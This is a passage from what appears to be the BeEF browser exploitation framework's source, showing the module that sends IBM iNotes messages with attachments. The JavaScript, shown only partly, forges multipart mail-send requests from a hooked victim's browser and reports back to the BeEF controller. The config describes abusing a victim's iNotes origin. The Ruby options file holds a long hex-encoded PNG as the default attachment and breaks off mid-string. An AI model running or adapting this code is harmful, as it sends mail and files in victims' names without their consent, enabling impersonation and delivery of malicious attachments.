\"Memo\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"s_UsePlainText\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"0\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"s_UsePlainTextAndHTML\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"1\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"Subject\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += subject + \"\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"HaikuUploadAttachment0\\\";  filename=\\\"\" + filename + \"\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += filedata + \"\\r\\n\";\n\t\t\tpost_data += boundary + \"--\";\n\t\t\txhr.sendAsBinary(post_data);\n\t\t\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');\n\t } catch(e) {\n\t\t beef.debug(\"Error: \" + e);\n\t\t beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error: ' + e);\n\t}\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        send_inotes_with_attachment:\n            enable: true\n            category: [\"Misc\",\"IBM iNotes\"]\n            name: \"Send iNotes with attachment\"\n            description: \"If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone with a binary attachment.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"FF\",\"C\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Send_inotes_with_attachment < BeEF::Core::Command\n  def self.options\n    [\n      { 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },\n      { 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },\n      { 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },\n      { 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },\n      { 'type' => 'textfield', 'name' => 'filename', 'ui_label' => 'Filename', 'value' => 'BeEF_logo.png' },\n      { 'type' => 'textarea', 'name' => 'filedata', 'ui_label' => 'Filedata',\n        'value' => '\\x89\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\x00\\x00\\xc8\\x00\\x00\\x00\\x95\\x08\\x06\\x00\\x00\\x00\\x1d\\x48\\xb5\\xb7\\x00\\x00\\x00\\x19\\x74\\x45\\x58\\x74\\x53\\x6f\\x66\\x74\\x77\\x61\\x72\\x65\\x00\\x41\\x64\\x6f\\x62\\x65\\x20\\x49\\x6d\\x61\\x67\\x65\\x52\\x65\\x61\\x64\\x79\\x71\\xc9\\x65\\x3c\\x00\\x00\\x33\\x85\\x49\\x44\\x41\\x54\\x78\\xda\\xec\\x7d\\x07\\x58\\x54\\x67\\xf6\\xfe\\x3b\\x0d\\x98\\x01\\x86\\xde\\xa5\\x29\\x88\\x02\\xf6\\x1e\\x4b\\x34\\xb1\\x25\\x96\\x98\\xa8\\xe9\\xc9\\x66\\x4b\\x36\\xed\\x97\\x6c\\xda\\x6e\\xf6\\x9f\\x6c\\x92\\xcd\\xa6\\xec\\xa6\\x57\\x63\\xca\\xa6\\x6d\\x62\\x9a\\x25\\xc6\\xde\\x83\\x15\\x6c\\x28\\x28\\x02\\x82\\x48\\x47\\x7a\\x67\\x60\\x66\\x98\\xf9\\x7f\\xe7\\xbb\\x77\\xe8\\x20\\xe0\\x80\\x83\\xde\\xf3\\x78\\x1e\\x87\\x3b\\x77\\xda\\xbd\\xdf\\xfb\\x9d\\x7e\\x8e\\x0c\\xae\\xa1\\x90\\xa8\\x15\\x4d\\x66\\x7c\\x13\\xe3\\x7f\\x30\\x6e\\x94\\x2e\\xc7\\xd5\\x4d\\x72\\xe9\\x12\\xb4\\xa3\\x1b\\x19\\xff\\x9d\\xf1\\x54\\xe9\\x52\\x48\\x24\\x01\\xa4\\x35\\xa9\\x19\\xdf\\x22\\x3e\\x7e\\x5e\\xfc\\x5b\\x22\\x09\\x20\\x12\\x89\\x34\\x81\\xf1\\x30\\x98\\xcc\\xf4\\x78\\x36\\xe3\\x3f\\x4b\\x97\\x44\\x02\\x88\\x44\\xcd\\x44\\x6a\\x95\\x02\\x72\\x76\\x59\\x0c\\xdc\\xfc\\x78\\x81\\xf1\\x44\\xe9\\xb2\\x48\\x00\\x91\\x48\\xa0\\x70\\xe8\\x8d\\x58\\x30\\x63\\x32\\xfc\\xfd\\xbc\\x80\\x7a\\xa3\\x3b\\x64\\xb2\\xb7\\xd9\\x71\\x57\\xe9\\xd2\\x48\\x00\\xb9\\xda\\x49\\xc5\\x38\\x08\\x3a\\x03\\xe6\\xcd\\x9e\\x85\\x07\\xee\\xbd\\x03\\x68\\x30\\x80\\xa9\\x5b\\xd3\\xd8\\xf1\\xd7\\xa5\\xcb\\x23\\x01\\xe4\\x6a\\x27\\x7b\\xc6\\x5a\\x7a\\x50\\x59\\x59\\x85\\x17\\x9e\\x7f\\x0a\\xe3\\x27\\x8f\\x04\\xaa\\xea\\x20\\xda\\x22\\x4f\\x49\\x97\\x48\\x02\\xc8\\xd5\\x4c\\x0a\\x91\\x51\\x52\\x5a\\xc6\\x0f\\xbc\\xfe\\xca\\x3f\\xa0\\x0d\\x60\\xaa\\x56\\x9d\\x1e\\x4c\\xd5\\x7a\\x85\\x1d\\xba\\x4f\\xba\\x4c\\x12\\x40\\xae\\x56\\x62\\xfa\\x14\\xea\\x19\\x10\\x50\\x70\\xa1\\x90\\x1f\\xb8\\xee\\xba\\xe9\\x78\\xfe\\xf1\\x87\\x98\\xf2\\xc5\\x2e\\x53\\xbd\\xc1\\x81\\x1d\\xfa\\x88\\xf1\\x22\\xe9\\x52\\x49\\x00\\xb9\\x1a\\x89\\xc0\\x51\\x06\\x85\\x0c\\xe9\\x99\\x59\\x30\\x1a\\x8d\\xfc\\xe0\\xd3\\x4f\\x3d\\x8c\\x87\\x7f\\x7f\\x27\\x83\\x0f\\xfb\\xbb\\xd1\\xe4\\xc8\\x0e\\x7d\\xcb\\xf8\\x66\\xe9\\x72\\x49\\x00\\xb9\\xda\\xc8\\x04\\xb3\\x39\\x03\\x4a\\x05\\xb2\\x2e\\x14\\xe1\\x6c\\xea\\xb9\\xa6\\x27\\x56\\x7c\\xf8\\x1f\\x2c\\xbd\\xf9\\x06\\xa0\\xa6\\x81\\x8c\\x76\\x17\\x76\\xe8\\x6b\\xc6\\x77\\x49\\x97\\xec\\x6a\\xd0\\xbb\\x1d\\xdc\\xa4\\xab\\xd0\\x4c\\x21\\x50\\xc8\\x17\\xea\\x2a\\x6b\\x30\\x38\\x28\\x00\\xd7\\x5c\\x33\\xa1\\xe9\\x89\\x79\\x73\\x67\\x21\\xf9\\x6c\\x1a\\x52\\x13\\x52\\x01\\x3b\\xa5\\x3d\\x93\\x36\\x0c\\x31\\x20\\x0b\\x3e\\x4e\\xba\\x6c\\x12\\x40\\xae\\x22\\x35\\x0b\\x7f\\x40\\xad\\x5e\\xd9\\x28\\x33\\xe1\\xde\\xbb\\x6f\\x6d\\x7a\\xc2\\xc1\\xc1\\x1e\\x4b\\x16\\xcf\\x43\\x52\\x4a\\x0a\\x52\\x08\\x24\\x0a\\xb9\\x8a\\x49\\x9b\\x79\\xec\\x29\\xba\\x80\\xfb\\x45\\x1b\\x46\\x22\\x09\\x20\\x57\\x34\\x95\\x82\\x52\\x4c\\x64\\xb2\\xe0\\xfc\\x8a\\x0a\\x4c\\x1a\\x35\\x02\\x43\\x86\\x84\\x34\\x3d\\xa9\\x54\\xa9\\xb0\\x64\\xd1\\x3c\\x14\\x15\\x17\\x23\\xfe\\xc4\\x69\\xc0\\x68\\x62\\x07\\xe5\\x94\\xfd\\x3b\\x51\\x04\\x49\\x85\\x74\\x09\\x25\\x80\\x5c\\xc9\\x44\\x49\\x58\\x1e\\x6c\\xd1\\xcf\\x6d\\x2c\\xad\\x81\\xd1\\x6c\\xc4\\xd2\\x5b\\x16\\xb6\\x3a\\x81\\x40\\xb2\\x88\\x81\\x44\\x66\\x32\\x61\\x5f\\x42\\x02\\xcc\\xe5\\xb5\\x4c\\xbc\\xa8\\x06\\xb3\\xa7\\xe8\\xc4\\x4c\\xc6\\x67\\xa5\\xcb\\x28\\x01\\xe4\\x4a\\x97\\x22\\xb7\\x40\\x2e\\xd7\\xa6\\xe6\\xe6\\x62\\xea\\xd8\\x51\\x08\\x0d\\x0d\\x6e\\x77\\xd2\\xcc\\x6b\\xaf\\x41\\x64\\x70\\x10\\x8e\\x9c\\x4a\\x44\\x65\\x5e\\x29\\xd9\\x25\\x94\\x96\\xb2\\x0c\\x42\\x06\\x70\\x9c\\xa4\\x72\\x49\\x00\\xb9\\x92\\x01\\x42\\xc6\\xfa\\x24\\x53\\x59\\x0d\\x2e\\x14\\x15\\xe2\\x9e\\xbb\\x96\\x77\\x78\\x62\\x54\\xd4\\x30\\xcc\\x9e\\x39\\x0d\\xe9\\xe7\\x33\\x90\\x91\\x7a\\x1e\\x68\\x34\\x2b\\x18\\x50\\xa6\\xb3\\xa7\\xe6\\x32\\x4e\\x66\\x9c\\x2d\\x5d\\x4e\\x09\\x20\\x57\\x22\\x91\\xaa\\x74\\x07\\x33\\xc2\\xd5\\xe7\\x32\\x73\\xe0\\xa1\\x75\\xc6\\xa4\\x49\\x63\\x3b\\x3c\\xd1\\xdb\\xdb\\x8b\\x03\\xa8\\xa1\\x5e\\x87\\x84\\xb4\\x34\\xe8\\x8b\\xab\\x00\\x7b\\x95\\x3f\\x33\\xf6\\x6f\\x87\\x90\\xba\\x92\\x00\\xc1\\xdb\\x25\\x91\\x04\\x90\\x2b\\x86\\x4a\\x18\\x3b\\x33\\x29\\x32\\x03\\x0d\\x46\\x9c\\x3a\\x9b\\x8a\\x39\\x33\\xa7\\xc3\\xc7\\xc7\\xab\\xd3\\x17\\xcc\\xbe\\x7e\\x06\\xae\\x19\\x37\\x06\\xa9\\x19\\xe7\\x90\\x9b\\x91\\x43\\x06\\xbc\\x8a\\x49\\x93\\x69\\xa2\\x34\\x29\\x15\\x25\\x8a\\x44\\x12\\x40\\xae\\x18\\x3a\\xc3\\x78\\x1e\\x54\\x0a\\x9f\\xaa\\xfc\\x52\\xa6\\x46\\x9d\\xc7\\xed\\xb7\\x2e\\x81\\x42\\xa1\\xe8\\xf4\\x05\\x21\\x21\\x81\\xb8\\x7d\\xf9\\x62\\x86\\x2b\\x39\\x4e\\x9d\\x4b\\x47\\x7d\\x51\\x05\\xb3\\xea\\x15\\xbe\\x90\\xcb\\x48\\x47\\x1b\\xc5\\x98\\xe9\\x61\\xc8\\x93\\x2e\\xad\\x04\\x90\\x2b\\x81\\x6a\\x19\\x17\\x30\\xbe\\x9d\\x49\\x02\\x64\\xa4\\x65\\xa1\\xa6\\xba\\x1a\\xf3\\xe6\\xcd\\xea\\xf2\\x45\\x76\\x76\\x76\\x98\\x35\\x6b\\x1a\\x66\\x4c\\x1a\\x8f\\xc2\\x92\\x62\\x9c\\xcd\\xcc\\x16\\x22\\xf0\\x76\\xca\\x61\\x0c\\x28\\x64\\xc4\\xfb\\x88\\xd2\\xa4\\x52\\xba\\xc4\\x12\\x40\\x06\\x3a\\xa5\\x30\\xf6\\x82\\x5c\\x3e\\x11\\x66\\x33\\xe2\\x4e\\x25\\xc1\\xdf\\xcd\\x1d\\xe3\\xc6\\x8d\\xba\\xe8\\x0b\\x03\\x03\\x03\\x70\\xe7\\xed\\xb7\\x20\\xd8\\xd7\\x07\\x19\\x39\\xd9\\x28\\xca\\x62\\x58\\x33\\x9b\\xd5\\x4c\\xa2\\x4c\\xe1\\xa0\\x63\\xb2\\x45\\x94\\x52\\xf5\\xd2\\x65\\x96\\x00\\x32\\x90\\x89\\x5c\\xb6\\x33\\x98\\xde\\x14\\x88\\xda\\x06\\x1c\\x3c\\x71\\x02\\xe3\\x47\\x46\\x61\\xf0\\xe0\\xe0\\x6e\\xbd\\x78\\xcc\\x98\\x11\\x58\\xb2\\x70\\x1e\\x4c\\x66\\x13\\x52\\xb3\\xb2\\x04\\xb5\\x4b\\x21\\x77\\x66\\x40\\xa1\\x9a\\xf7\\x85\\x22\\x40\\x08\\x88\\x46\\xe9\\x52\\x4b\\x00\\x19\\x88\\xa4\\x63\\x7c\\x02\\x94\\xc1\\x6b\\xa7\\x74\\xac\\x2f\\xae\\xc2\\xfe\\xa3\\x47\\x30\\x73\\xea\\x64\\xf8\\xfa\\x7a\\xb7\\x3a\\xb1\\xa2\\xa2\\x02\\xb9\\xb9\\xf9\\xd0\\x68\\x98\\xa0\\x50\\x2a\\x9b\\x8e\\x3b\\x3b\\x3b\\x71\\xd5\\x6c\\xfe\\xac\\xe9\\x28\\x2e\\x2d\\x41\\x72\\x76\\x2e\\x3b\\xb9\\x8e\\xd4\\x2e\\x6f\\xc8\\x64\\xd4\\x83\\x6b\\x0e\\xe3\\x62\\x08\\xde\\x33\\xa9\\x17\\x97\\x04\\x90\\x01\\x47\\x64\\x8b\\xe4\\x30\\x5e\\x00\\x7b\\xa5\\xaa\\x22\\xb7\\x04\\xb1\\xc7\\xe3\\x31\\xf7\\xfa\\x19\\x70\\x73\\x6b\\x2e\\x57\\x77\\x70\\x70\\xc0\\xf1\\xe3\\x89\\xd8\\xb8\\x71\\x07\\xdc\\x5c\\x5d\\xe0\\xe5\\xe5\\xd1\\xea\\x4d\\x08\\x50\\xcb\\x96\\x2e\\xc4\\xc8\\xb0\\x21\\x38\\x9f\\x97\\x8d\\xfc\\xec\\x0b\\x42\\x59\\xaf\\x9d\\x32\\x80\\x3d\\x4d\\xf6\\xc9\\x04\\xf1\\x73\\xb2\\xa4\\x4b\\x2e\\x01\\x64\\xa0\\x51\\x12\\x63\\x66\\x6d\\x63\\x2e\\xec\\x55\\x28\\x3c\\x9f\\x87\\xa3\\xf1\\x27\\x30\\x7b\\xd6\\x0c\\xb8\\xba\\xba\\x34\\x9d\\x44\\xb9\\x5b\\x79\\xb9\\x05\\x78\\xe3\\x9d\\x15\\xc8\\xc9\\xca\\xc3\\xb4\\x69\\x93\\x5a\\xbd\\x89\\x4c\\x26\\x47\\x64\\x64\\x04\\x6e\\x5f\\x76\\x13\\x34\\x0e\\xf6\\x48\\xcb\\xc9\\x42\\x55\\x7e\\x19\\x98\\x01\\x2f\\x67\\xaa\\x57\\xb8\\x68\\x9f\\x0c\\x85\\x90\\xb2\\x52\\x2c\\x5d\\x76\\x09\\x20\\x03\\x89\\x0e\\x71\\xa3\\x5d\\x86\\x89\\x70\\x50\\x21\\x37\\x2d\\x07\\x71\\xf1\\x4c\\x92\\x5c\\x37\\x1d\\x2e\\x2d\\x40\\x12\\x15\\x15\\x81\\x41\\x7e\\xbe\\xf8\\xe0\\x93\\x2f\\xf1\\xe9\\x7f\\xbf\\x85\\x8f\\x87\\x27\\x86\\x0d\\x0b\\x6f\\xf5\\x46\\xf6\\xf6\\xf6\\x98\\x31\\x63\\x0a\\x16\\xce\\xbb\\x0e\\xd5\\x35\\x35\\x38\\x9d\\x99\\x29\\xe4\\x75\\xa9\\x14\\x2a\\x06\\x14\\xf2\\x02\\xdc\\xc1\\xd8\\x9d\\x71\\x22\\x04\\x8f\\x9a\\x44\\x12\\x40\\x06\\x04\\xfd\\xc6\\x38\\x8c\\x71\\x34\\x49\\x92\\xdc\\xb4\\x2c\\x9c\\x4c\\x4a\\x62\\x20\\x99\\x01\\x67\\xad\\x73\\xd3\\x49\\x21\\x21\\x41\\x58\\x74\\xc3\\x1c\\xec\\xd8\\xf9\\x1b\\x5e\\x7d\\xf7\\x13\\x9c\\x38\\x76\\x02\\x43\\x42\\x82\\x11\\x30\\xc8\\xaf\\xd5\\x9b\\x79\\x78\\xb8\\x63\\xc9\\x4d\\x37\\x60\\xd2\\x88\\x28\\xe4\\x14\\xe4\\x23\\x2b\\x33\\x8f\\x99\\xed\\x7a\\x52\\xbb\\x28\\xa7\\x8b\\x02\\x8d\\xd4\\xe9\\xb1\\x4e\\x94\\x60\\x92\\x7d\\x22\\x01\\xc4\\xe6\\x89\\xbc\\x4d\\x3b\\x19\\x8f\\x60\\x92\\x64\\x28\\x81\\x24\\x33\\xf9\\x3c\\xe2\\x8e\\x1f\\xc7\\xec\\x99\\xd3\\x5b\\xa9\\x5b\\x4e\\xcc\\x38\\xbf\\xfb\\xae\\xe5\\x28\\x29\\x28\\xc4\\x77\\xdf\\xae\\xc5\\xf7\\x9b\\xb6\\x20\\x3f\\x33\\x17\\x11\\x43\\x87\\xc0\\xdd\\xbd\\xf5\\x75\\x0f\\x0b\\x0b\\xc5\\x6d\\xcb\\x6f\\x86\\xbb\\xd6\\x09\\x69\\xd9\\x59\\x20\\x3b\\x87\\xea\\xe3\\x99\\x44\\x21\\x29\\xb2\\x98\\x31\\xb9\\x87\\xd3\\x18\\xe7\\x4a\\xb7\\x40\\x02\\x88\\xad\\x13\\xd9\\x22\\xbb\\x40\\x75\\x20\\x32\\x84\\x10\\x48\\x72\\xce\\x66\\x21\\xf6\\xd8\\x71\\xcc\\xb9\\xae\\xb5\\x4d\\x42\\x74\\xe3\\x8d\\xb3\\xe1\\xec\\xa8\\xc1\\xe6\\xdf\\xf6\\xe3\\xe8\\xfe\\x38\\xac\\xd9\\xb6\\x03\\xe5\\x85\\xa5\\x18\\x39\\x22\\x12\\x1a\\x76\\xdc\\x42\\x2a\\x95\\x12\\x53\\xa6\\x4c\\xc0\\x92\\x85\\xf3\\x51\\x59\\x5d\\x85\\x53\\xe7\\xcf\\xc3\\x5c\\x56\\x4b\\xb9\\x5d\\x0c\\x2c\\x18\\x2c\\xaa\\x5d\\xf4\\xe6\\x47\\xc5\\xef\\x20\\x91\\x04\\x10\\x9b\\x25\\xb2\\x0b\\x76\\x80\\x3c\\x4f\\x32\\x04\\x93\\x4d\\x92\\x97\\x96\\xcd\\x24\\x49\\x3c\\xcf\\xf0\\x75\\x75\\x6b\\xdd\\x8c\\x91\\xca\\x77\\x87\\x06\\x05\\x62\\x2f\\x7b\\xbe\\x88\\x19\\xf8\\xfb\\xe3\\xe2\\xb1\\x79\\xc7\\x2e\\xca\\x00\\xc6\\xa8\\x51\\x51\\x50\\xb6\\x48\\x61\\x71\\x75\\xd5\\xe2\\xa6\\xc5\\xf3\\x31\\x3e\\x2a\\x12\\xe9\\x99\\x19\\xc8\\x63\\xe7\\xf3\\x7e\\xc1\\x4a\\x05\\x35\\xb7\\xa3\\xf6\\xa8\\x54\\xc9\\x48\\xb1\\x13\\xc9\\xdb\\x25\\x01\\xc4\\xa6\\xa9\\x9a\\xf1\\x56\\xc6\\xe3\\xc9\\xec\\x10\\x6c\\x92\\x1c\\xb6\\xf8\\xe3\\x30\\x65\\xc2\\x38\\xf8\\xb4\\x89\\x93\\x8c\\x18\\x31\\x1c\\x11\\x83\\x43\\x11\\x73\\xe4\\x18\\x6a\\x4a\\xab\\x50\\x5c\\x5c\\x86\\x2d\\xbb\\xf7\\x61\\x6f\\xcc\\x3e\\xf8\\x78\\x79\\x23\\x3c\\x7c\\x70\\xab\\xf3\\xe9\\xef\\x5b\\x97\\x2e\\x86\\xd1\\x60\\x40\\xfc\\xd9\\xb3\\x30\\x96\\xd5\\x30\\xdb\\x84\\x4b\\x13\\x32\\x64\\x28\\xbf\\xcb\\xc4\\xf8\\xb0\\xf8\\xbf\\x44\\x12\\x40\\x6c\\x56\\x92\\xec\\x6a\\x29\\x49\\x0a\\x32\\xf2\\xb0\\xef\\xc8\\x11\\x5c\\x3b\\x75\\x12\\x4f\\x87\\x6f\\x49\\xc3\\x22\\xc2\\x30\\x69\\xcc\\x28\\xec\\x8e\\x8d\\x45\\x65\\x49\\x15\\xa0\\xb1\\x43\\x76\\x6a\\x16\\x7e\\xda\\xb9\\x0b\\x29\\x09\\x49\\x18\\xc5\\xd4\\x2e\\x77\\x8f\\xe6\\x7b\\x42\\xb5\\xf0\\x73\\xe7\\xcc\\xc4\\x84\\xe8\\x48\\x9c\\x4e\\x3b\\x8b\\x0b\\x19\\xf9\\x14\\x89\\x27\\xb6\\x83\\xd0\\x81\\x7e\\x38\\xe3\\x83\\x22\\x58\\x25\\x92\\x00\\x62\\xb3\\x92\\x64\\x0b\\xe3\\x31\\x8c\\x07\\x13\\x48\\x8a\\x33\\x0b\\xb0\\x63\\xdf\\x01\\x8c\\x1c\\x3e\\x0c\\x21\\xa1\\x41\\xad\\x4e\\x0e\\x0e\\x1e\\x84\\x31\\xd1\\x51\\xd8\\xbc\\x37\\x06\\x75\\x94\\x7a\\xe2\\xaa\\x81\\x59\\xd7\\x80\\xd3\\x27\\x92\\xb0\\x66\\xeb\\x36\\xd4\\x55\\xd6\\x60\\xc2\\xf8\\xd1\\x50\\x91\\xb4\\x68\\x61\\xc4\\xdf\\x7a\\xcb\\x22\\x14\\x16\\x15\\x21\\x21\\x85\\xd9\\xea\\x3a\\x03\\x19\\xf0\\xf4\\x54\\xa4\\xa8\\x72\\x91\\x24\\x29\\x90\\x6e\\x85\\x04\\x10\\x5b\\x96\\x24\\x9b\\x18\\x47\\x90\\xa0\\x20\\x90\\x94\\xe7\\x14\\x61\\x0f\\x53\\xb7\\xc6\\x8e\\x88\\xe2\\xa9\\xf0\\x2d\\x89\\xfe\\x1e\\x16\\x12\\x8c\\x9d\\x4c\\x92\\xe8\\x4a\\x2a\\x99\\x24\\xb1\\xe7\\xc6\\x78\\x0d\\x93\\x2a\\xbf\\xed\\x8d\\x45\\xcc\\xfe\\x83\\xf0\\xf7\\xf1\\x69\\xa5\\x76\\xa9\\xd5\\x6a\\xee\\x12\\x76\\x65\\xff\\xc7\\x26\\x26\\xa2\\x81\\x8a\\xb3\\xd4\\x24\\x48\\x40\\xba\\xdc\\x02\\x08\\x31\\x93\\xf3\\xd2\\xad\\x90\\x00\\x62\\xab\\x44\\x79\\x5b\\x1b\\x21\\xa4\\xb4\\x8f\\xa5\\xc5\\x5b\\x95\\x57\\x8a\\x9d\\x87\\x0e\\x61\\x34\\x33\\xb8\\x43\\xdb\\x48\\x92\\x88\\x61\\xe1\\x08\\xf2\\xf5\\xc5\\x66\\x06\\x06\\x63\\x65\\x2d\\xc5\\x3e\\x04\\xa9\\xa0\\x54\\x20\\x27\\x2d\\x0b\\x3f\\xee\\xdc\\x8d\\xa2\\xec\\x7c\\x4c\\x9c\\x30\\xa6\\x95\\xb7\\x6b\\xf2\\xe4\\xf1\\x18\\xc3\\x24\\x53\\xdc\\xc9\\x13\\x1c\\x84\\x04\\x46\\x08\\xd5\\x8b\\xd4\\x16\\x95\\xf2\\xc6\\xce\\x49\\xb7\\x42\\x02\\x88\\xad\\x92\\x41\\x54\\xb7\\xa8\\x5b\\xfc\\x34\\x02\\x49\\x75\\x7e\\x29\\x97\\x24\\xe3\\x3a\\x90\\x24\\xd1\\xd1\\xc3\\xe1\\xe7\\xe6\\x86\\x2d\\x87\\x62\\x61\\xaa\\xae\\x17\\x40\\x22\\x03\\x5f\\xf4\\x66\\x9d\\x1e\\x47\\x63\\xe3\\xb1\\x67\\xff\\x01\\x0c\\x09\\x0e\\x6e\\x95\\x41\\x1c\\x16\\x1e\\xca\\x13\\x26\\x0f\\x33\\x90\\x5c\\x38\\x97\\x67\\x71\\x05\\x53\\x70\\xf1\\x46\\x51\\xdd\\x92\\x3c\\x5c\\x12\\x40\\x6c\\x96\\xa8\\x7d\\xd0\\x6f\\x10\\xba\\xc5\\xcf\\xa0\\xc5\\x4e\\x55\\x89\\x3b\\x0e\\x1e\\xc4\\xf8\\x11\\xd1\\xed\\x40\\x32\\x76\\xec\\x48\\x38\\x2b\\x55\\xd8\\x7e\\xe8\\x30\\x35\\xc9\\xa6\\x5e\\x5b\\xe2\\xdd\\x91\\x73\\xaf\\x55\\xc1\\xb9\\x5c\\xac\\x66\\xd2\\xc4\\x58\\x53\\x87\\x99\\x33\\x9b\\x67\\x8b\\x92\\x97\\x6c\\xfe\\xec\\x59\\x3c\\xfe\\x92\\x97\\x9e\\x6d\\x91\\x24\\x24\\x6a\\xae\\x65\\xbc\\x9b\\x71\\x91\\x74\\x2b\\x24\\x80\\xd8\\x32\\x48\\xf6\\x88\\x0b\\x76\\xaa\\x45\\x92\\x1c\\x8a\\x8f\\xe7\\xf5\\xed\\x9e\\x6d\\x32\\x7d\\xa7\\x4c\\x19\\x0f\\x59\\x83\\x1e\\x31\\x07\\x68\\xf3\\x97\\x09\\xe0\\x80\\xf0\\x90\\x5e\\x6b\\xac\\xa9\\x67\\x76\\xc9\\x61\\x24\\x9c\\x4c\\xc4\\x54\\xa6\\x62\\xb9\\xb8\\xf0\\x51\\x26\\x3c\\x28\\x39\\x7b\\xd6\\x74\\x1c\\x3a\\x76\\x0c\\xf9\\xe9\\xb9\\x16\\x90\\xd0\\x4d\\x1d\\xc7\\x78\\x03\\xa4\\x3c\\x2e\\x09\\x20\\x36\\x4e\\x31\\x64\\x93\\x83\\x6a\\xd2\\xd9\\xe2\\x2d\\xcd\\x2e\\xc4\\x99\\xb3\\xa9\\xf8\\xdd\\x3d\\xb7\\xb5\\x3b\\x91\\xa4\\x43\\x51\\xc1\\x05\\x1c\\x3b\\x7c\\x82\\xdb\\x21\\x3c\\xd5\\xc4\\x42\\xa2\\x54\\x49\\x49\\x4c\\xc5\\x6e\\x66\\xb3\\x8c\\x8a\\x8e\\xe4\\x55\\x8b\\x1c\\x24\\x6e\\x2e\\x98\\x3e\\x65\\x12\\x76\\x1d\\xd8\\xcf\\xde\\xbf\\xc9\\x26\\x19\\x04\\x6a\\x82\\x27\\x80\\x44\\x22\\x09\\x20\\x36\\x4b\\x14\\xc4\\x8b\\x85\\x10\\xb3\\xf0\\x25\\x1b\\x23\\x33\\x2d\\x1b\\x06\\x7d\\x03\\xae\\xbf\\x6e\\x7a\\xbb\\x93\\x67\\x5f\\x3f\\x1d\\xf1\\x27\\x13\\x90\\x76\\x3a\\xcd\\xb2\\xd0\\x5b\\xdc\\x2d\\x39\\x3f\\x56\\x78\\xbe\\x00\\x5b\\x62\\xf6\\x22\\xd4\\xdf\\x9f\\xa7\\xce\\x13\\x91\\x44\\x8a\\x8a\\x18\\x8a\\x8d\\xec\\xb8\\xae\\xbc\\x46\\xb0\\x65\\x04\\xb7\\x33\\xf5\\xe6\\x3a\\x29\\xdd\\x06\\x09\\x20\\xb6\\x4c\\xa4\\xe6\\x50\\x2b\\xa1\\x5b\\xb9\\x54\\x30\\x34\\x22\\x35\\x3b\\x0b\\x73\\xaf\\x9d\\xd6\\xae\\x2a\\x91\\x2a\\x11\\xaf\\x9d\\x36\\x19\\xdb\\xd8\\x42\\x2f\\x69\\xf6\\x50\\xb5\\x26\\x76\\xac\\xa6\\xb8\\x02\\xbf\\xee\\xdd\\x07\\x6f\\xad\\x4b\\x53\\x8d\\x3c\\x79\\xc9\\x54\\x0c\\x8e\\x3b\\xf6\\x1d\\xa2\\x59\\x26\\x16\\x35\\x6d\\x34\\x04\\xcf\\x5a\\xb9\\x74\\x1b\\x24\\x80\\xd8\\x32\\x65\\x42\\x48\\x5f\\x0f\\x81\\x4a\\x89\\xda\\xc2\\x0a\\x28\\x98\\xda\\x44\\x89\\x8c\\x6d\\x49\\xcb\\xec\\x0b\\x5f\\x4f\\x2f\\xac\\xd9\\xbd\\x87\\x7b\\xb2\\x9a\\x8c\\xf6\\x96\\xc4\\x24\\x44\\x63\\x65\\x1d\\xb6\\x1d\\x8a\\x83\\x87\\xda\\x11\\x13\\x27\\x8e\\x11\\x6d\\x99\\x09\\x48\\x4a\\x4c\\xc2\\x99\\x93\\xc9\\x16\\x70\\x51\\x52\\x98\\x93\\xa4\\x6a\\x49\\x00\\xb1\\x75\\xa2\\x34\\xf9\\x29\\xdc\\x78\\x96\\x33\\x29\\xd2\\x60\\x44\\x8d\\xbe\\x0e\\x77\\xdd\\x7a\\x33\\x1c\\xd4\\x0e\\xed\\x4e\\x8e\\x8c\\x1c\\x8a\\x9c\\xf4\\x4c\\x9c\\x38\\x92\\xd0\\xb1\\x14\\x21\\xb2\\x57\\xc1\\x54\\xad\\xc3\\x96\\xd8\\x38\\xf8\\xbb\\xba\\x36\\x49\\x92\\